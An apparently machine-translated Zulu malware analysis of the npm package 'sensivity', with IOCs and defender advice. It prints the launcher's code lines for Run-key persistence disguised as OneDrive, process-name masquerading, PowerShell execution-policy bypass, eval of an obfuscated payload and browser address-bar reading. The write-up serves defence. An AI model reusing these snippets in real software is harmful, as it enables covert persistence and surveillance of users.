TL; DR
Iphakheji ye-npm ukuzwela izichaza njenge-"Sensivity Control Panel." Ku-Windows isebenza njengethuluzi lokulawula kude kanye nokuqapha.
Indawo yokungena, launcher.js, iqamba kabusha inqubo yayo ibe yi-Runtime Broker, ibhala inani le-autostart Run-key eliqanjwe ngokuthi OneDriveUpdate evula kabusha iphakheji nge-VBScript efihliwe, iveza i-PowerShell nge -ExecutionPolicy Bypass, bese ikhipha umthwalo we-server ofihliwe ongu-171 KB eceleni kwemojuli yemvelo engu-6.87 MB, sens.node.
Isebenzisa iphaneli yokulawula yokuhlanganisa ifoni ku-TCP port 3000 futhi ifunda i-URL yebha yekheli lesiphequluli esisebenzayo nge-Windows UIAutomation, ibuka ividiyo eyodwa ye-YouTube enekhodi eqinile.
Izingxenye ezimbili ezazifundeka ngaphambilini njengezibhokisi ezimnyama manje sezixazululiwe. Iseva efihliwe, server.obf.js, isebenzisa uhlelo lwe-obfuscator.io RC4 string-array; ukusebenzisa kabusha i-decoder yayo ungaxhunyiwe ku-inthanethi (akukho JavaScript esetshenzisiwe) kubuyisa i-endpoint eyodwa yangaphandle — https://izopi.com/check.php — kanye nokhiye womphakathi we-RSA ofakiwe osetshenziselwa ukuqinisekisa izimpendulo zelayisensi esayiniwe.
Imojula yendabuko, sens.node, ayipakishiwe: ithebula layo lokungenisa kanye nezintambo ezifakiwe ziyikhomba njenge-DirectX 11 / I-Dear ImGui engaphakathi komdlalo enikeza izici ze-aimbot, i-ESP (i-wall-hack), kanye ne-triggerbot, eqhutshwa ukujova kwenqubo ekude kanye nokufunda/ukubhala kwememori.
Izintambo ezingaphakathi kwayo zibhekisela ezintweni zezimoto kanye nezindawo zemephu ezihambisana ne-GTA V / FiveM. Iphakheji ye-npm iyisimbozo sokulethwa nokuphikelela esizungeze leyo module yasendaweni.
Isiginali esichazayo siyasebenza, hhayi ezobuchwepheshe: umshicileli oyedwa ongaziwa ucindezele cishe izinguqulo ezingamashumi ayisikhombisa zephakheji elilodwa — 2.5.0 kuya ku-2.5.69 — phakathi nezinsuku ezimbalwa, ngayinye iphethe isiqalisi esifanayo.
Azikho izinto ezifakiwe hooksUmthwalo okhokhelwayo usebenza kuphela uma iphakheji isiqalisiwe.
Ukuhlasela: Indlela Okusebenza Ngayo
I-sensivity ithumela amafayela ayishumi. I-package.json ayitholakali: ayikho insimu yokugcina, ayikho ilayisensi, igama eliyinhloko kanye nelibili le-bin (sensivity, sens) konke kukhomba ku-launcher.js, kanye neskripthi sokuqala se-node launcher.js. Akukho ukufaka ngemuva noma ukufaka kusengaphambili. Akukho lutho oluqalayo ku-npm install. Ukuziphatha okuchazwe ngezansi kusebenza lapho umsebenzisi eqala iphakheji - nge-bin shim, iskripthi sokuqala, noma isidingo.
I-tarball ithwala isiqalisi, iseva efihliwe, imodyuli yendabuko, iskripthi se-Visual Basic, kanye nesiqondisi somphakathi/sewebhu sephaneli yokulawula. I-launcher.js iyi-orchestrator efundekayo; i-logic ebalulekile ngesikhathi sokusebenza ihlala kuma-blobs amabili ewalayishayo - iseva efihliwe kanye nemodyuli yendabuko ehlanganisiwe, zombili zixazululwe ngezansi.
I-masquerade yenqubo kanye nesibuyekezo se-OneDrive mbumbulu
Ekuqaleni kwe-execution launcher.js isetha igama layo lenqubo kabili:
javascript process.title = 'Runtime Broker'; I-Runtime Broker iyinqubo esemthethweni ye-Windows (i-RuntimeBroker.exe) elawula izimvume zohlelo lokusebenza. Ukuqamba kabusha inqubo ye-Node ukuze ifane nayo kusho ukuthi ukubuka ngokushesha i-Task Manager akubonisi lutho olungavamile.
Ukuphikelela kubhalwa nge-PowerShell kune-API yokubhalisa eqondile:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Inani le-autostart libizwa ngokuthi i-OneDriveUpdate, futhi alikhombisi ngqo iphakheji. Likhomba ku-wscript.exe esebenzisa i-OneDrive.Standalone.Updater.vbs ehlanganisiwe. Leso sikripthi sivula kabusha ama-node launcher.js efasiteleni elifihliwe. Kokubili igama le-Run-key kanye negama lefayela le-VBScript kuboleka uphawu lwe-Microsoft, ngakho-ke okufakiwe kwe-autostart kufundeka njengomsebenzi ojwayelekile we-OneDrive.
I-PowerShell ene-execution-policy bypass
Isiqalisi siphinda sithumele i-PowerShell. Isinki esibhekwa njengezibalulekile yi-.ps1 ekhiqizwe ngenqubomgomo yokusebenza ekhutshaziwe:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); I-ExecutionPolicy Bypass isusa ukuhlolwa kokusayina iskripthi sendawo kwaleso sicelo. Izikripthi ezikhiqizwe zisingatha umsebenzi wokuqapha isiphequluli kanye nokuthola iwindi ochazwe esigabeni esilandelayo.
Iseva efihliwe kanye nemojuli yomdabu
Ngemva kokusetha, i-launcher.js ilayisha futhi ikhiphe umthwalo wayo wangempela:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));i-server.obf.js ingu-171 KB ye-_0x-array obfuscation — iphethini ye-JavaScript lapho yonke intambo kanye nesihlonzi kufakwa khona esikhundleni senkomba ibe yi-array exutshwe, bese isuswa inkomba ngesikhathi sokusebenza. Uhlelo luyi-variant ye-RC4 ekhiqizwe yi-obfuscator.io: umsebenzi we-decoder eyodwa i-base64-decode i-array entry bese i-RC4-decrypt it ngenkinobho yokushaya ucingo. Ukusebenzisa kabusha leyo decoder kusikripthi esihlukile — kusebenzisa kuphela ukuphinda kusetshenziswe phezu kwe-array ye-string ye-821 ekhishwe, hhayi i-JavaScript yephakheji — kuyikhulula kahle. Yimaphi ama-surfaces aphansi kodwa aphansicisi-ve: i-URL eyodwa yangaphandle, https://izopi.com/check.php`, enikezwe i-LICENSE_URL engaguquki; i-RSA PUBLIC_KEY_PEM efakiwe`; imizila yephaneli yendawo /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, kanye /trigger/status; kanye nezintambo i-child_process, i-crypto, kanye ne-[Sensivity] sens.node elayishiwe — okokugcina kungumugqa welogi oqondile isiqalisi esiwubhala kabusha kwimojula yohlelo elayishiwe. Iphuzu lokugcina ukuhlolwa kwelayisensi: iklayenti lithumela isihlonzi (iseva efihliwe ifometha i-Discord ID: %s string) kanye nenkinobho ye-RSA iqinisekisa impendulo esayiniwe yeseva.
I-sens.node iyi-addon yomdabu ehlanganisiwe engu-6.87 MB, futhi ayipakishiwe — i-entropy yesigaba itholakala ku-5.6–6.6 futhi amathebula okungenisa nokuthumela e-PE aphelele, ngakho-ke amakhono ayo afundeka ngqo. Ithumela i-napi_register_module_v1, i- standard Indawo yokungena ye-Node N-API, ngakho-ke iseva ye-eval'd iyilayisha ngesidingo esicacile. Ithebula layo lokungenisa liyi-tell. Kusukela ku-KERNEL32 idonsa i-OpenProcess, i-VirtualAllocEx, i-WriteProcessMemory, i-ReadProcessMemory, i-CreateRemoteThread, i-K32EnumProcessModules, kanye ne-Process32First/NextW — isethi ye-canonical yokuthola enye inqubo, ukwaba inkumbulo ngaphakathi kwayo, nokufunda noma ukubhala leyo nkumbulo. Kusukela ku-USER32 idonsa i-GetAsyncKeyState, i-GetKeyState, i-mouse_event, kanye ne-SetCursorPos; ixhumanisa i-d3d11.dll, i-D3DCOMPILER_43, kanye ne-dwmapi ukuze kubekwe ngaphezulu kwesikrini, kanye nesethi ephelele ye-WINHTTP yamakholi enethiwekhi. Izintambo zayo ezifakiwe ziqamba igama lesici ngaphandle kokungacaci: Nika amandla i-Aimbot, i-Aimbot FOV, i-Box ESP, i-Skeleton ESP, i-Triggerbot, i-ESP Builder, i-Vehicle ESP, i-Electron Anticheat etholakele, kanye nebhena le-Dear ImGui Dear ImGui 1.91.3 WIP. Izintambo zendawo kanye ne-entity ezifana ne-Grapeseed Medical Clinic kanye nesilulumagama se-vehicle-ESP ziyahambisana ne-GTA V / FiveM.
Ukuhlukaniswa kwenziwa ngamabomu: i-launcher.js efundekayo ithwala kuphela izingxenye ezifundwa kalula yi-scanner — ukuphikelela, i-masquerade, i-eval call ngokwayo — kuyilapho i-obfuscation ifihla i-host eyodwa yangaphandle oxhumana nabo be-runtime, kanti i-binary ibamba i-game-overlay kanye ne-process-injection logic. I-launcher iyigobolondo elincane, elihlolwayo; iseva e-obfuscated ifihla ubunikazi benethiwekhi; i-native module iyi-payload. Sichaza ukungenisa kanye nezintambo ze-binary njengokufundiwe; asiqondisi injongo yomqhubi kuzo.
Iphaneli yokulawula yokubhangqa ifoni ku-port 3000
Isiqalisi siphatha iseva yewebhu yendawo ku-TCP port 3000 futhi siyiphatha njenge-singleton. Sibuza umlaleli okhona bese siyisula ngaphambi kokubopha:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Iphaneli ingafinyeleleka ku-http://localhost:3000, ene-URL ye-LAN efakwe ikhodi eqinile ethi http://192.168.1.16:3000. I-public/ directory kanye nokuziphatha kwephaneli kuhambisana nokugeleza kokubhanqa kwe-QR: ifoni iskena ikhodi bese ibopha kumphathi njengesilawuli kude. Akukho sizinda sangaphandle somyalo nokulawula esibonakala kumbhalo ocacile kusiqalisi — kodwa, njengoba i-deobfuscation engenhla ibonisa, ikhona kuseva efihliwe: i-endpoint yelayisensi ye-izopi.com. Iphaneli ngokwayo iyindawo futhi i-LAN-scoped; okuwukuphela kwe-outbound host yilelo layisensi yokuhlola.
Imodeli yomphathi/isisebenzi esihlukanisiwe igcina inqubo iphila. Isiqalisi siphinde siziveze ngamafulegi emvelo e-SENSIVITY_SUPERVISOR kanye ne-SENSIVITY_WORKER, ingane ngayinye isebenza ifihliwe, ngakho ukubulala inqubo eyodwa kushiya umqaphi ukuthi ayiqalise kabusha.
Ukuqapha Isiphequluli kanye Nesignali ye-YouTube
Ukuziphatha okuqondile kakhulu ukuqapha isiphequluli. i-launcher.js yakha i-PowerShell eqhuba i-Windows UIAutomation ukuthi ifunde ibha yekheli lesiphequluli esisebenzayo:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', I-ValuePattern ibuyisela okuqukethwe kombhalo wesici se-UI. Isetshenziswa ekulawuleni ukuhlela kwebha yekheli lesiphequluli, ibuyisela i-URL isisulu esiyibukayo njengamanje — ngaphandle kwesandiso sesiphequluli, ngaphandle kokuthinta iphrofayili kudiski, futhi ngaphandle kwe-API hook. Iskripthi esikhiqizwe siphinda uhlu lwe-$browserNames futhi sikhipha i-URL noma isihloko sewindi sanoma yisiphi isiphequluli esingaphambili.
Leyo URL ihlolwa ngokumelene nethagethi eyodwa enekhodi eqinile:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Isiqalisi sihlola ku-loop yemizuzwana emithathu yefasitela lesiphequluli elibonisa i-YouTube, kanti i-PowerShell ekhiqizwe iphethe i-Get-YouTubeBrowser / Test-TargetYouTubeUrl pair ehambisana naleyo ID yevidiyo. Umphumela obonakalayo ukabili: i-URL yokuphequlula esebenzayo ifundwa esikrinini sesisulu, futhi ukuxhumana komsingathi nevidiyo eyodwa ye-YouTube kuyatholwa. Sichaza indlela kanye nenhloso; asisho ukuthi kukhona yini imbangela kuzo.
Ukufundwa kwebha yekheli yilokho isithwebuli esikubiza ngokuthi i-sensitive_data_enumeration — umthombo we-Process::env kanye ne-UIAutomation ophakela isikhathi sokusebenza esikwaziyo inethiwekhi. Kubukeka kukuhle kukodwa futhi kuxazululwa kuphela uma umjikelezo wokuphila kwedatha ulandelwa kusukela kumthombo we-UIAutomation kuya kuseva efihliwe.
Umugqa Wesikhathi kanye Nokuvela Kwenguqulo
Ukuzwela akuyona into elayishwayo nje. I-akhawunti yomshicileli inezinhlobo ezishicilelwe ezingaba amashumi ayisikhombisa zale phakheji eyodwa, futhi ezintsha bezilokhu zifika ngesikhathi sewindi lokubuyekeza. Isiqalisi sikhula ngesici kulo lonke umugqa we-2.5.x kuyilapho ukuphikelela kwaso kanye nokulayisha umthwalo kuhlala kuzinzile.
| Usuku (UTC) | Izinguqulo ezibonwe | Isimo sesiqalisi |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Isiqalisi sephaneli ye-QR eyisisekelo; Ukuqhubeka kokhiye wokuqalisa; i-eval yeseva efihliwe. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Izigxivizo zeminwe ezifanayo; ukucindezelwa kwe-console-trace. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Ingeza umgomo wokuzibandakanya kwe-YouTube ophiniwe wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Ukugcwalisa izikhala kushicilelwa kabusha kulo lonke uhla; umphathi/umqaphi wesisebenzi. |
Ukufunda isiqalisi kuzo zonke izinhlaka ezilandiwe — 2.5.0, 2.5.36, kanye no-2.5.69 — kubonisa amazinga amane. Izakhiwo zokuqala ziphethe isiqalisi esiyisisekelo sokubhangqa i-QR. Kusukela ku-2.5.33 kuvela i-UIAutomation address-bar harvester. Kusukela ku-2.5.58 kufakwe ungqimba lokuphatha umphathi. Kusukela ku-2.5.64 umphathi/isisebenzi esihlukanisiwe uqedela isethi. Kuyo yonke le nqubo, izinto ezine azishintshi: ukhiye we-OneDriveUpdate Run, i-OneDrive.Standalone.Updater.vbs dropper, i-eval'd server.obf.js, kanye ne-sens.node native module.
Igagasi lika-2026-06-05 liyaphawuleka ngoba liphinde lashicilela izinombolo zenguqulo eziphansi — 2.5.0 kuya ku-2.5.15 — ezingaphansi kwezinguqulo eziqinisekisiwe ezinsukwini ezedlule. Umphumela uwumugqa ohambisanayo ongu-2.5.x kurejista, yonke inguqulo inesiqalisi esifanayo.
Izinkomba zokuvumelana
Zonke izinkomba ezingezansi zifundwe ngqo kusuka ku-tarball yephakheji. Isiqalisi esifundekayo sine-loopback kanye nekheli elilodwa le-LAN eliyimfihlo; igama elilodwa langaphandle, i-izopi.com, litholwe yi-deobfuscating server.obf.js engaxhunyiwe ku-inthanethi.
| Uhlobo | inkomba | amanothi |
|---|---|---|
| Iphakheji | npm:sensivity (≈Izinguqulo ezingu-70, 2.5.0-2.5.69) | Umshicileli wephakheji eyodwa; akukho ndawo yokugcina; akunalayisensi. |
| Ifayela | launcher.js | I-orchestrator efundekayo; inhloso eyinhloko kanye ne-bin. |
| Ifayela | server.obf.js (≈171 KB) | i-obfuscator.io i-RC4 string-array payload, ilayishwe nge eval(fs.readFileSync(...)). |
| Ifayela | sens.node (≈6.87 MB) | Isengezo se-N-API se-PE32+ x86-64 Node; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Ifayela | OneDrive.Standalone.Updater.vbs | Isiqalisi kabusha esifihliwe (node launcher.js). |
| Network | https://izopi.com/check.php | Iphuzu lokugcina lelayisensi/lokugunyazwa litholakale kuseva efihliwe; ukhiye womphakathi we-RSA ofakiwe uqinisekisa izimpendulo. |
| Ukukwazi | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Ukujova ngenqubo ekude kanye nekhono lokufunda/ukubhala inkumbulo. |
| Ukukwazi | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | I-DirectX 11 / ImGui game overlay isebenzisa izici ze-aimbot, i-ESP, kanye ne-triggerbot. |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Inani lokuqalisa ngokuzenzakalela likhomba ku- wscript.exe kanye nesiqalisi se-VBScript. |
| Inqubo | process.title = 'Runtime Broker' | Izenza sengathi inqubo esemthethweni ye-Windows Runtime Broker. |
| Ukuziphatha | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Ukudlula kwenqubomgomo yokusebenza okusetshenziselwa izikripthi ze-PowerShell ezikhiqizwe. |
| Ukuziphatha | UIAutomation ValuePattern funda ibha yekheli lesiphequluli | Ifunda i-URL yefasitela lesiphequluli sangaphambili. |
| Ukuziphatha | I-ID yevidiyo eqondiwe wJWta2lO0Lw; Inhlolovo ye-YouTube yamasekhondi angu-3 | Isignali yokuqapha ukuzibandakanya ephiniwe. |
| Network | http://localhost:3000, ozowela kuyo http://192.168.1.16:3000 | Iphaneli yokulawula yokuhlanganisa i-QR ivezwe endaweni kanye naku-LAN. |
| Environment | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Amafulegi okuxhumanisa inqubo yokugada ahlukanisiwe. |
Ukunikezwa, Umthelela, kanye nabaVikeli
Iphakheji ishicilelwe yi-akhawunti eyodwa ye-npm ene-imeyili eshiwoyo eyikheli le-Gmail elingaqinisekisiwe. I-akhawunti iphethe amaphuzu odumo lokubhalisa angemahle kakhulu, igcina futhi ishicilela leli phakheji elilodwa kuphela, futhi ayinayo indawo yokugcina yomthombo exhunyiwe. Asikaqinisekisi ubunikazi be-imeyili futhi sibeka umkhankaso ku-akhawunti yomshicileli, hhayi kunoma yimuphi umuntu oqanjwe igama lakhe. Isiqalisi asinayo ingqalasizinda ecacile, kodwa iseva eyodwa yangaphandle manje iyaziwa: iseva efihliwe ixhumana ne-izopi.com ukuze ihlolwe ilayisensi, kanye nemojuli yomdabu - efundwa etafuleni layo lokungenisa kanye nezintambo kunokuba ifundiswe ngendlela eguquliwe - iwukunqwabelana komdlalo okufaka futhi ufunde inkumbulo yenye inqubo.
Umthelela obonakalayo uwela kubasebenzisi beWindows abafaka futhi basebenzise ukuzwela belindele uhlelo lokusebenza lwephaneli yokulawula. Kulabo abaphethe iphakheji isungula ukuqhubeka okuzenzakalelayo okufihliwe njengomsebenzi we-OneDrive, iqamba kabusha ukuze ilingise inqubo yesistimu, ifunde i-URL yanoma yini umsebenzisi ayipheqululayo, bese imisa iphaneli yokubhangqa ebopha umshini kude ngenethiwekhi yendawo. I-supervisor/worker watchdog isho ukuthi ukubulala inqubo eyodwa akuyisusi; ukungena kwe-Run-key kuyasinda ekuqaliseni kabusha. i-macOS ne-Linux aziqondiwe yisiqalisi - izindlela zokuphikelela, i-PowerShell, kanye ne-UIAutomation zisebenza ku-Windows kuphela.
Ukushintsha kwenguqulo ezingamashumi ayisikhombisa kuwumkhuba okufanele uhlatshwe umkhosi. Ukuphinda ushicilele iphakheji eyodwa izikhathi eziningi ezinsukwini ezimbalwa, kufaka phakathi izinombolo zenguqulo ezigcwalisa emuva ngaphansi kwalezo esezisusiwe, kugcina ikhophi ebukhoma kurejista phakathi kokususwa futhi kukhungathekisa uhlu oluvinjiwe lwenguqulo. Ukufakwa kohlu oluvinjiwe lwe-sensivity@2.5.61 akwenzi lutho ngokumelene ne-sensivity@2.5.3 okushicilelwe kabusha ngosuku olulandelayo.
Abavikeli bangenza okulandelayo:
- Vimbela ukuzwela kwegama lephakheji ngqo ohlwini lwe-registry-proxy kanye nohlu lwe-CI oluvunyelwe. Ukunamathisela izinguqulo ngazinye kulahlekelwa yi-cadence yokushicilela kabusha; igama liyisibonakaliso esihlala isikhathi eside.
- Funa inani le-Run elibizwa nge-OneDriveUpdate lapho idatha yalo ibiza khona i-wscript.exe ngokumelene ne-.vbs endleleni yomsebenzisi ngamunye. Isibuyekezo sangempela se-OneDrive asibhalisiwe ngale ndlela.
- Isexwayiso ngenqubo ye-Node.js enesihloko se-process.title esiyi-Runtime Broker. Umthengisi wangempela yi-RuntimeBroker.exe, hhayi isikhathi sokusebenza se-Node.
- Maka ukuthathwa kwesikhathi sokufaka se-npm kwamaphakheji athumela i-addon ehlanganisiwe ye-.node kanye ne-eval(fs.readFileSync(…)) yefayela le-.obf.js lomfowabo. Lokho kubhangqa — i-opaque native binary elayishwe eduze komthwalo wombhalo ofihliwe — kuyisimo sesakhiwo lapha, esizimele kunoma iyiphi intambo ye-IOC.
- Phatha noma yimuphi umlaleli oxhumeke endaweni ku-port 3000 odalwe yinqubo ye-Node engalindelekile njengosolwayo kuma-endpoints e-Windows aphethwe.
- Vimba noma xwayisa ngezicelo eziphumayo eziya ku-izopi.com ezivela kubathuthukisi noma kubasebenzisi bokugcina; ukuphela kwendawo yokugcina yangaphandle yephakheji, okufinyelelwe ku-/check.php kusuka kuseva efihliwe.
- Kunoma yisiphi i-.node addon ehlanganisiwe, hlola ithebula layo lokungenisa ngaphambi kokulithemba. Inhlanganisela i-OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread iwukufaka i-remote-process kungakhathaliseki ukuthi iphakheji ithi yenzani; lapha ihlezi eduze kwe-Direct3D overlay kanye ne-aimbot/ESP/triggerbot strings.
Kokuhlaziywa kwe-static pipelines, isimo sokukholelwa sihlala isikhathi eside kuyo yonke i-version churn: iphrofayili yokufaka engeyona inethiwekhi, isabelo sesihloko senqubo egameni lenqubo yesistimu elaziwayo, ukubhala kwe-Run-key nge-PowerShell, kanye ne-eval yefayela elifundwe kusuka kudiski. Akukho neyodwa yalezo ezincike kusizinda, i-IP, noma inombolo yenguqulo okuzoshicilelwa kabusha okulandelayo.
Okubhekwayo
[npm: ukuzwela] – ikhasi lokubhalisa lomugqa wenguqulo yephakheji okuxoxwe ngalo lapha; kuncike ekususweni.
